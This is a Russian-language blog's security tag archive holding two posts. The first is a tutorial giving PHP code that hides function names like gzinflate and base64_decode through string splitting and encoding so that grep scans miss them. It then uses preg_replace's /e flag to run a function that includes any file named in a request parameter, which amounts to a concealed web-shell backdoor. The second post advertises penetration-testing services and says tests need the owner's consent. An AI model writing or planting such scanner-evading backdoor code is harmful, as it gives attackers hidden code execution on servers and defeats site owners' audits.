Блог сео-студента | Tag Archive | безопасность

«безопасность»

Замена eval() в php

15-07-2023

1

Недавно ломал голову над тем, есть ли замена функции eval() в php.

Задача: Сделать возможность вызова функций system, passthru, exec и т.д. так, чтобы в коде не было упоминания имен этих функций, то есть, чтобы при поиске по исходникам (grep -rl ‘function‘ /path) данные функции не светились.

Немного поломав мозг, пришел к такому решению:

// функции для выполнения
$funcs = array(
	'g'.'z'.'i'.'n'.'f'.'l'.'a'.'t'.'e',
	'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e',
	'p'.'h'.'p'.'i'.'n'.'f'.'o'
);
 
$strng = 'KyhKLUtNAQA='; # прогнанный через gzinflate base64 хэш имени функции (preved)

function preved() {
############## Здесь любой код для выполнения ############
	(isset($_REQUEST['c'])) ? include($_REQUEST['c']) : die();
###########################################################
}
 
function test() {
		global $funcs, $strng;
		$result = $funcs[0]($funcs[1]($strng));
	return $result(); // заменить на $func[X], если не нужно вызывать функцию preved()
}
echo preg_replace("/123/e",test(),456);

Как видно из листинга, скрипт использует баг в функции preg_replace() с флагом /e. Разобраться с ним не сложно.
В результате получился скрипт, который может выполнять практически любые функции, кроме eval(), так как:

это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций (c) мануал

Единственный минус – можно выполнить поиск по имени функции preg_replace(), но ее можно зашифровать аналогично примерам из скрипта или любым другим способом.

Аудит безопасности сайтов

22-02-2023

0

Предоставляю следующие услуги:

  • Удаленная проверка ресурса (тест на проникновение)

Проверяю сайт так, как я хотел бы его взломать. Проверка по множеству типов атак (SQL-Injection, XSS, PHP-Injection и т.д.).

  • Проверка исходного кода веб-приложения

Проверка исходного кода приложения на наличие уязвимостей (при необходимости, их устранение).

Предоставляю детальный отчет после проверки.

В связи со многими просьбами произвести проверку на безопасность различных ресурсов, хочу сразу предупредить:

Дело в том, что я не проверяю сайты без согласия их владельцев, ибо это незаконно. Вы должны предоставить доказательства того, что это Ваш проект. Например, создать в корне сайта файл с gfyrty.txt (к примеру) или предоставить другие доказательства (обговаривается при беседе).

Если все нормально, проверка будет проведена.

  • Отзывы (по запросу предоставлю остальные)